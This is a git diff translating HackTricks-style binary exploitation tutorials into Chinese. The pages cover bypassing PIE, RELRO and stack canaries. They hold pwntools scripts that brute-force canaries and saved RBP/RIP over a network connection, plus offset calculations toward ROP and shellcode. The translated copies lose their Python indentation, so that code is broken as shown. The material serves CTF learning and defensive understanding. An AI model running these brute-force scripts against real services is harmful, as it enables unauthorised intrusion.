+或者您可以将其用于您的漏洞,如果您泄露了一个地址位于 **`0x649e1024`**,您就知道 **基地址是 `0x649e1000`**,然后您可以 **计算** 函数和位置的偏移量。 -## Bypasses +## 绕过方法 -In order to bypass PIE it's needed to **leak some address of the loaded** binary, there are some options for this: +为了绕过 PIE,需要 **泄露已加载二进制文件的某个地址**,有一些选项可以做到这一点: -- **Disabled ASLR**: If ASLR is disabled a binary compiled with PIE is always **going to be loaded in the same address**, therefore **PIE is going to be useless** as the addresses of the objects are always going to be in the same place. -- Be **given** the leak (common in easy CTF challenges, [**check this example**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) -- **Brute-force EBP and EIP values** in the stack until you leak the correct ones: +- **禁用 ASLR**:如果禁用 ASLR,编译为 PIE 的二进制文件将始终 **加载到相同的地址**,因此 **PIE 将变得无用**,因为对象的地址将始终位于相同的位置。 +- 被 **给出** 泄露(在简单的 CTF 挑战中常见, [**查看此示例**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) +- 在栈中 **暴力破解 EBP 和 EIP 值**,直到您泄露正确的值: {{#ref}} bypassing-canary-and-pie.md {{#endref}} -- Use an **arbitrary read** vulnerability such as [**format string**](../../format-strings/) to leak an address of the binary (e.g. from the stack, like in the previous technique) to get the base of the binary and use offsets from there. [**Find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). +- 使用 **任意读取** 漏洞,例如 [**格式字符串**](../../format-strings/) 来泄露二进制文件的地址(例如,从栈中,如前面的技术所示)以获取二进制文件的基地址并从那里使用偏移量。[**在这里找到一个示例**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)。 -## References +## 参考 - [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md index 996facccb..1ac5372a1 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md @@ -1,56 +1,55 @@ -# BF Addresses in the Stack +# BF 地址在栈中 {{#include ../../../banners/hacktricks-training.md}} -**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** +**如果你面临一个受到 canary 和 PIE(位置无关可执行文件)保护的二进制文件,你可能需要找到一种方法来绕过它们。** ![](<../../../images/image (865).png>) > [!NOTE] -> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ -> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting. +> 请注意,**`checksec`** 可能无法发现一个二进制文件受到 canary 保护,如果它是静态编译的,并且无法识别该函数。\ +> 然而,如果你发现一个值在函数调用开始时被保存到栈中,并且在退出之前检查了这个值,你可以手动注意到这一点。 -## Brute-Force Addresses +## 暴力破解地址 -In order to **bypass the PIE** you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\ -For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.** +为了**绕过 PIE**,你需要**泄露一些地址**。如果二进制文件没有泄露任何地址,最好的方法是**暴力破解在脆弱函数中保存的 RBP 和 RIP**。\ +例如,如果一个二进制文件同时使用了 **canary** 和 **PIE** 保护,你可以开始暴力破解 canary,然后**下一个** 8 字节(x64)将是保存的 **RBP**,**下一个** 8 字节将是保存的 **RIP**。 > [!TIP] -> It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case. - -To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP: +> 假设栈中的返回地址属于主二进制代码,如果漏洞位于二进制代码中,通常会是这种情况。 +要从二进制文件中暴力破解 RBP 和 RIP,你可以判断一个有效的猜测字节是否正确,如果程序输出了某些内容或者它没有崩溃。可以使用与暴力破解 canary 提供的**相同函数**来暴力破解 RBP 和 RIP: ```python from pwn import * def connect(): - r = remote("localhost", 8788) +r = remote("localhost", 8788) def get_bf(base): - canary = "" - guess = 0x0 - base += canary +canary = "" +guess = 0x0 +base += canary - while len(canary) < 8: - while guess != 0xff: - r = connect() +while len(canary) < 8: +while guess != 0xff: +r = connect() - r.recvuntil("Username: ") - r.send(base + chr(guess)) +r.recvuntil("Username: ") +r.send(base + chr(guess)) - if "SOME OUTPUT" in r.clean(): - print "Guessed correct byte:", format(guess, '02x') - canary += chr(guess) - base += chr(guess) - guess = 0x0 - r.close() - break - else: - guess += 1 - r.close() +if "SOME OUTPUT" in r.clean(): +print "Guessed correct byte:", format(guess, '02x') +canary += chr(guess) +base += chr(guess) +guess = 0x0 +r.close() +break +else: +guess += 1 +r.close() - print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) - return base +print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) +return base # CANARY BF HERE canary_offset = 1176 @@ -67,30 +66,25 @@ print("Brute-Forcing RIP") base_canary_rbp_rip = get_bf(base_canary_rbp) RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ``` +要击败 PIE,您需要做的最后一件事是计算 **从泄露的地址中获取有用的地址**:**RBP** 和 **RIP**。 -The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**. - -From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP: - +从 **RBP** 您可以计算 **您在栈中写入 shell 的位置**。这对于知道您将要在栈中写入字符串 _"/bin/sh\x00"_ 的位置非常有用。要计算泄露的 RBP 和您的 shellcode 之间的距离,您只需在泄露 RBP 后放置一个 **断点** 并检查 **您的 shellcode 位于何处**,然后,您可以计算 shellcode 和 RBP 之间的距离: ```python INI_SHELLCODE = RBP - 1152 ``` - -From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\ -To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses: +从 **RIP** 你可以计算出 **PIE 二进制文件的基地址**,这是你创建 **有效 ROP 链** 所需要的。\ +要计算基地址,只需执行 `objdump -d vunbinary` 并检查最新的反汇编地址: ![](<../../../images/image (479).png>) -In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000` - +在这个例子中,你可以看到只需要 **1.5 字节** 来定位所有代码,因此,在这种情况下,基地址将是 **泄露的 RIP,但以 "000" 结尾**。例如,如果你泄露了 `0x562002970ecf`,基地址就是 `0x562002970000`。 ```python elf.address = RIP - (RIP & 0xfff) ``` +## 改进 -## Improvements +根据[**这篇文章的一些观察**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking),在泄露RBP和RIP值时,服务器可能不会因某些不是正确的值而崩溃,而BF脚本会认为它得到了正确的值。这是因为**某些地址即使不是完全正确的,也可能不会导致崩溃**。 -According to [**some observation from this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), it's possible that when leaking RBP and RIP values, the server won't crash with some values which aren't the correct ones and the BF script will think he got the good ones. This is because it's possible that **some addresses just won't break it even if there aren't exactly the correct ones**. - -According to that blog post it's recommended to add a short delay between requests to the server is introduced. +根据那篇博客文章,建议在对服务器的请求之间添加短暂的延迟。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md b/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md index 59b406c5e..8f47064a2 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md @@ -4,32 +4,30 @@ ## Relro -**RELRO** stands for **Relocation Read-Only**, and it's a security feature used in binaries to mitigate the risks associated with **GOT (Global Offset Table)** overwrites. There are two types of **RELRO** protections: (1) **Partial RELRO** and (2) **Full RELRO**. Both of them reorder the **GOT** and **BSS** from ELF files, but with different results and implications. Speciifically, they place the **GOT** section _before_ the **BSS**. That is, **GOT** is at lower addresses than **BSS**, hence making it impossible to overwrite **GOT** entries by overflowing variables in the **BSS** (rembember writing into memory happens from lower toward higher addresses). +**RELRO** 代表 **Relocation Read-Only**,它是用于二进制文件的安全特性,旨在减轻与 **GOT (Global Offset Table)** 重写相关的风险。**RELRO** 保护有两种类型:(1)**Partial RELRO** 和(2)**Full RELRO**。它们都重新排列了 ELF 文件中的 **GOT** 和 **BSS**,但结果和影响不同。具体来说,它们将 **GOT** 部分放在 **BSS** 之前。也就是说,**GOT** 的地址低于 **BSS**,因此通过溢出 **BSS** 中的变量来重写 **GOT** 条目是不可能的(记住,写入内存是从低地址向高地址进行的)。 -Let's break down the concept into its two distinct types for clarity. +让我们将这个概念分解为两个不同的类型以便于理解。 ### **Partial RELRO** -**Partial RELRO** takes a simpler approach to enhance security without significantly impacting the binary's performance. Partial RELRO makes **the .got read only (the non-PLT part of the GOT section)**. Bear in mind that the rest of the section (like the .got.plt) is still writeable and, therefore, subject to attacks. This **doesn't prevent the GOT** to be abused **from arbitrary write** vulnerabilities. +**Partial RELRO** 采取更简单的方法来增强安全性,而不会显著影响二进制文件的性能。Partial RELRO 使 **.got 只读(GOT 部分的非 PLT 部分)**。请记住,部分区域(如 .got.plt)仍然是可写的,因此仍然容易受到攻击。这 **并不防止 GOT** 被 **任意写入** 漏洞滥用。 -Note: By default, GCC compiles binaries with Partial RELRO. +注意:默认情况下,GCC 编译的二进制文件使用 Partial RELRO。 ### **Full RELRO** -**Full RELRO** steps up the protection by **making the entire GOT (both .got and .got.plt) and .fini_array** section completely **read-only.** Once the binary starts all the function addresses are resolved and loaded in the GOT, then, GOT is marked as read-only, effectively preventing any modifications to it during runtime. +**Full RELRO** 通过 **使整个 GOT(包括 .got 和 .got.plt)和 .fini_array** 部分完全 **只读** 来加强保护。一旦二进制文件启动,所有函数地址都会在 GOT 中解析并加载,然后,GOT 被标记为只读,有效地防止在运行时对其进行任何修改。 -However, the trade-off with Full RELRO is in terms of performance and startup time. Because it needs to resolve all dynamic symbols at startup before marking the GOT as read-only, **binaries with Full RELRO enabled may experience longer load times**. This additional startup overhead is why Full RELRO is not enabled by default in all binaries. - -It's possible to see if Full RELRO is **enabled** in a binary with: +然而,Full RELRO 的权衡在于性能和启动时间。因为它需要在启动时解析所有动态符号,然后再将 GOT 标记为只读,**启用 Full RELRO 的二进制文件可能会经历更长的加载时间**。这种额外的启动开销就是为什么并非所有二进制文件默认启用 Full RELRO。 +可以通过以下方式查看二进制文件是否 **启用** Full RELRO: ```bash readelf -l /proc/ID_PROC/exe | grep BIND_NOW ``` +## 绕过 -## Bypass +如果启用了完整的 RELRO,绕过它的唯一方法是找到另一种不需要在 GOT 表中写入以获得任意执行的方法。 -If Full RELRO is enabled, the only way to bypass it is to find another way that doesn't need to write in the GOT table to get arbitrary execution. - -Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an arbitrary write. More information in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.** +请注意,**LIBC 的 GOT 通常是部分 RELRO**,因此可以通过任意写入进行修改。更多信息请参见 [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md index 5c1044b98..ccb296f8b 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md @@ -2,72 +2,72 @@ {{#include ../../../banners/hacktricks-training.md}} -## **StackGuard and StackShield** +## **StackGuard 和 StackShield** -**StackGuard** inserts a special value known as a **canary** before the **EIP (Extended Instruction Pointer)**, specifically `0x000aff0d` (representing null, newline, EOF, carriage return) to protect against buffer overflows. However, functions like `recv()`, `memcpy()`, `read()`, and `bcopy()` remain vulnerable, and it does not protect the **EBP (Base Pointer)**. +**StackGuard** 在 **EIP (扩展指令指针)** 之前插入一个特殊值,称为 **canary**,具体为 `0x000aff0d`(表示空值、换行符、EOF、回车)以防止缓冲区溢出。然而,像 `recv()`、`memcpy()`、`read()` 和 `bcopy()` 这样的函数仍然存在漏洞,并且它不保护 **EBP (基指针)**。 -**StackShield** takes a more sophisticated approach than StackGuard by maintaining a **Global Return Stack**, which stores all return addresses (**EIPs**). This setup ensures that any overflow does not cause harm, as it allows for a comparison between stored and actual return addresses to detect overflow occurrences. Additionally, StackShield can check the return address against a boundary value to detect if the **EIP** points outside the expected data space. However, this protection can be circumvented through techniques like Return-to-libc, ROP (Return-Oriented Programming), or ret2ret, indicating that StackShield also does not protect local variables. +**StackShield** 采用比 StackGuard 更复杂的方法,通过维护一个 **全局返回栈**,存储所有返回地址 (**EIPs**)。这种设置确保任何溢出不会造成伤害,因为它允许比较存储的和实际的返回地址以检测溢出发生。此外,StackShield 可以检查返回地址与边界值,以检测 **EIP** 是否指向预期数据空间之外。然而,这种保护可以通过 Return-to-libc、ROP(面向返回的编程)或 ret2ret 等技术绕过,这表明 StackShield 也不保护局部变量。 ## **Stack Smash Protector (ProPolice) `-fstack-protector`:** -This mechanism places a **canary** before the **EBP**, and reorganizes local variables to position buffers at higher memory addresses, preventing them from overwriting other variables. It also securely copies arguments passed on the stack above local variables and uses these copies as arguments. However, it does not protect arrays with fewer than 8 elements or buffers within a user's structure. +该机制在 **EBP** 之前放置一个 **canary**,并重新组织局部变量以将缓冲区放置在更高的内存地址,防止它们覆盖其他变量。它还安全地复制传递到局部变量上方的堆栈参数,并使用这些副本作为参数。然而,它不保护少于 8 个元素的数组或用户结构中的缓冲区。 -The **canary** is a random number derived from `/dev/urandom` or a default value of `0xff0a0000`. It is stored in **TLS (Thread Local Storage)**, allowing shared memory spaces across threads to have thread-specific global or static variables. These variables are initially copied from the parent process, and child processes can alter their data without affecting the parent or siblings. Nevertheless, if a **`fork()` is used without creating a new canary, all processes (parent and children) share the same canary**, making it vulnerable. On the **i386** architecture, the canary is stored at `gs:0x14`, and on **x86_64**, at `fs:0x28`. +**canary** 是从 `/dev/urandom` 派生的随机数或默认值 `0xff0a0000`。它存储在 **TLS (线程局部存储)** 中,允许跨线程共享内存空间具有线程特定的全局或静态变量。这些变量最初从父进程复制,子进程可以在不影响父进程或兄弟进程的情况下更改其数据。然而,如果 **`fork()` 在不创建新 canary 的情况下使用,所有进程(父进程和子进程)共享相同的 canary**,使其变得脆弱。在 **i386** 架构中,canary 存储在 `gs:0x14`,在 **x86_64** 中,存储在 `fs:0x28`。 -This local protection identifies functions with buffers vulnerable to attacks and injects code at the start of these functions to place the canary, and at the end to verify its integrity. +这种本地保护识别具有缓冲区易受攻击的函数,并在这些函数的开始处注入代码以放置 canary,在结束时验证其完整性。 -When a web server uses `fork()`, it enables a brute-force attack to guess the canary byte by byte. However, using `execve()` after `fork()` overwrites the memory space, negating the attack. `vfork()` allows the child process to execute without duplication until it attempts to write, at which point a duplicate is created, offering a different approach to process creation and memory handling. +当 Web 服务器使用 `fork()` 时,它允许通过逐字节猜测 canary 字节进行暴力攻击。然而,在 `fork()` 后使用 `execve()` 会覆盖内存空间,从而消除攻击。`vfork()` 允许子进程在尝试写入之前执行而不进行复制,此时会创建一个副本,提供了一种不同的进程创建和内存处理方法。 -### Lengths +### 长度 -In `x64` binaries, the canary cookie is an **`0x8`** byte qword. The **first seven bytes are random** and the last byte is a **null byte.** +在 `x64` 二进制文件中,canary cookie 是一个 **`0x8`** 字节的 qword。**前七个字节是随机的**,最后一个字节是 **空字节**。 -In `x86` binaries, the canary cookie is a **`0x4`** byte dword. The f**irst three bytes are random** and the last byte is a **null byte.** +在 `x86` 二进制文件中,canary cookie 是一个 **`0x4`** 字节的 dword。**前三个字节是随机的**,最后一个字节是 **空字节**。 > [!CAUTION] -> The least significant byte of both canaries is a null byte because it'll be the first in the stack coming from lower addresses and therefore **functions that read strings will stop before reading it**. +> 两个 canary 的最低有效字节是空字节,因为它将是来自较低地址的堆栈中的第一个,因此 **读取字符串的函数将在读取之前停止**。 -## Bypasses +## 绕过 -**Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value. +**泄露 canary** 然后用其自身的值覆盖它(例如,缓冲区溢出)。 -- If the **canary is forked in child processes** it might be possible to **brute-force** it one byte at a time: +- 如果 **canary 在子进程中被 fork**,可能可以 **逐字节暴力破解** 它: {{#ref}} bf-forked-stack-canaries.md {{#endref}} -- If there is some interesting **leak or arbitrary read vulnerability** in the binary it might be possible to leak it: +- 如果二进制文件中存在一些有趣的 **泄露或任意读取漏洞**,可能可以泄露它: {{#ref}} print-stack-canary.md {{#endref}} -- **Overwriting stack stored pointers** +- **覆盖堆栈存储的指针** -The stack vulnerable to a stack overflow might **contain addresses to strings or functions that can be overwritten** in order to exploit the vulnerability without needing to reach the stack canary. Check: +易受堆栈溢出影响的堆栈可能 **包含可以被覆盖的字符串或函数的地址**,以利用该漏洞而无需到达堆栈 canary。检查: {{#ref}} ../../stack-overflow/pointer-redirecting.md {{#endref}} -- **Modifying both master and thread canary** +- **修改主 canary 和线程 canary** -A buffer **overflow in a threaded function** protected with canary can be used to **modify the master canary of the thread**. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified). +在受 canary 保护的线程函数中 **缓冲区溢出** 可以用来 **修改线程的主 canary**。因此,缓解措施是无效的,因为检查是使用两个相同的(尽管被修改过的)canary。 -Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\ -As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\ -This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) +此外,在受 canary 保护的线程函数中 **缓冲区溢出** 可以用来 **修改存储在 TLS 中的主 canary**。这是因为,可能通过线程的 **堆栈中的 bof** 到达存储 TLS 的内存位置(因此,canary)。\ +因此,缓解措施是无效的,因为检查是使用两个相同的(尽管被修改过的)canary。\ +此攻击在以下写作中进行: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup. +还可以查看 [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) 的演示,其中提到通常 **TLS** 是通过 **`mmap`** 存储的,当 **线程** 的 **堆栈** 被创建时,它也是通过 `mmap` 生成的,这可能允许如前所述的溢出。 -- **Modify the GOT entry of `__stack_chk_fail`** +- **修改 `__stack_chk_fail` 的 GOT 条目** -If the binary has Partial RELRO, then you can use an arbitrary write to modify the **GOT entry of `__stack_chk_fail`** to be a dummy function that does not block the program if the canary gets modified. +如果二进制文件具有部分 RELRO,则可以使用任意写入来修改 **`__stack_chk_fail` 的 GOT 条目**,使其成为一个不会在 canary 被修改时阻止程序的虚拟函数。 -This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) +此攻击在以下写作中进行: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) -## References +## 参考 - [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html) - [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md index 89eee29ec..5af006f8c 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md @@ -2,55 +2,54 @@ {{#include ../../../banners/hacktricks-training.md}} -**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** +**如果你面临一个受到 canary 和 PIE(位置无关可执行文件)保护的二进制文件,你可能需要找到一种方法来绕过它们。** ![](<../../../images/image (865).png>) > [!NOTE] -> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ -> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting. +> 请注意,**`checksec`** 可能无法发现一个二进制文件受到 canary 保护,如果它是静态编译的,并且无法识别该函数。\ +> 然而,如果你发现一个值在函数调用开始时被保存在栈中,并且在退出之前检查这个值,你可以手动注意到这一点。 ## Brute force Canary -The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**. +绕过简单 canary 的最佳方法是,如果二进制文件是一个**每次你与之建立新连接时都会分叉子进程的程序**(网络服务),因为每次你连接到它时**将使用相同的 canary**。 -Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**): +因此,绕过 canary 的最佳方法就是**逐字符暴力破解**,你可以通过检查程序是否崩溃或继续其正常流程来判断猜测的 canary 字节是否正确。在这个例子中,函数**暴力破解一个 8 字节的 canary(x64)**,并通过**检查**服务器是否发送了**响应**来区分正确猜测的字节和错误的字节(在**其他情况下**,另一种方法可以使用**try/except**): ### Example 1 -This example is implemented for 64bits but could be easily implemented for 32 bits. - +这个例子是为 64 位实现的,但可以很容易地为 32 位实现。 ```python from pwn import * def connect(): - r = remote("localhost", 8788) +r = remote("localhost", 8788) def get_bf(base): - canary = "" - guess = 0x0 - base += canary +canary = "" +guess = 0x0 +base += canary - while len(canary) < 8: - while guess != 0xff: - r = connect() +while len(canary) < 8: +while guess != 0xff: +r = connect() - r.recvuntil("Username: ") - r.send(base + chr(guess)) +r.recvuntil("Username: ") +r.send(base + chr(guess)) - if "SOME OUTPUT" in r.clean(): - print "Guessed correct byte:", format(guess, '02x') - canary += chr(guess) - base += chr(guess) - guess = 0x0 - r.close() - break - else: - guess += 1 - r.close() +if "SOME OUTPUT" in r.clean(): +print "Guessed correct byte:", format(guess, '02x') +canary += chr(guess) +base += chr(guess) +guess = 0x0 +r.close() +break +else: +guess += 1 +r.close() - print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) - return base +print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) +return base canary_offset = 1176 base = "A" * canary_offset @@ -58,43 +57,41 @@ print("Brute-Forcing canary") base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ``` +### 示例 2 -### Example 2 - -This is implemented for 32 bits, but this could be easily changed to 64bits.\ -Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload. - +这是为 32 位实现的,但可以很容易地更改为 64 位。\ +还要注意,对于这个示例,**程序首先期望一个字节来指示输入的大小**和有效负载。 ```python from pwn import * # Here is the function to brute force the canary def breakCanary(): - known_canary = b"" - test_canary = 0x0 - len_bytes_to_read = 0x21 +known_canary = b"" +test_canary = 0x0 +len_bytes_to_read = 0x21 - for j in range(0, 4): - # Iterate up to 0xff times to brute force all posible values for byte - for test_canary in range(0xff): - print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") +for j in range(0, 4): +# Iterate up to 0xff times to brute force all posible values for byte +for test_canary in range(0xff): +print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") - # Send the current input size - target.send(len_bytes_to_read.to_bytes(1, "little")) +# Send the current input size +target.send(len_bytes_to_read.to_bytes(1, "little")) - # Send this iterations canary - target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) +# Send this iterations canary +target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) - # Scan in the output, determine if we have a correct value - output = target.recvuntil(b"exit.") - if b"YUM" in output: - # If we have a correct value, record the canary value, reset the canary value, and move on - print(" - next byte is: " + hex(test_canary)) - known_canary = known_canary + test_canary.to_bytes(1, "little") - len_bytes_to_read += 1 - break +# Scan in the output, determine if we have a correct value +output = target.recvuntil(b"exit.") +if b"YUM" in output: +# If we have a correct value, record the canary value, reset the canary value, and move on +print(" - next byte is: " + hex(test_canary)) +known_canary = known_canary + test_canary.to_bytes(1, "little") +len_bytes_to_read += 1 +break - # Return the canary - return known_canary +# Return the canary +return known_canary # Start the target process target = process('./feedme') @@ -104,18 +101,17 @@ target = process('./feedme') canary = breakCanary() log.info(f"The canary is: {canary}") ``` +## 线程 -## Threads +同一进程的线程将**共享相同的金丝雀令牌**,因此如果二进制文件在每次攻击发生时生成一个新线程,将有可能**暴力破解**金丝雀。 -Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens. +此外,受金丝雀保护的**线程函数中的缓冲区溢出**可以用来**修改存储在TLS中的主金丝雀**。这是因为,可能通过线程的**栈中的缓冲区溢出**到达存储TLS(因此,金丝雀)的内存位置。\ +因此,缓解措施是无效的,因为检查使用的是两个相同的金丝雀(尽管被修改过)。\ +此攻击在以下写作中进行: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\ -As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\ -This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) +还可以查看[https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015)的演示,其中提到通常**TLS**是通过**`mmap`**存储的,当创建**线程**的**栈**时,它也是通过`mmap`生成的,这可能允许如前所述的溢出。 -Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup. - -## Other examples & references +## 其他示例与参考 - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - - 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there. +- 64位,无PIE,nx,BF金丝雀,在某些内存中写入ROP以调用`execve`并跳转到那里。 diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md index e4d3eed44..f63fb30c7 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md @@ -1,33 +1,33 @@ -# Print Stack Canary +# 打印栈金丝雀 {{#include ../../../banners/hacktricks-training.md}} -## Enlarge printed stack +## 扩大打印的栈 -Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**. +想象一个情况,一个**易受攻击的程序**可以执行一个**puts**函数,**指向****栈溢出**的**一部分**。攻击者知道**金丝雀的第一个字节是一个空字节**(`\x00`),其余的金丝雀是**随机**字节。然后,攻击者可以创建一个溢出,**覆盖栈直到金丝雀的第一个字节**。 -Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte). 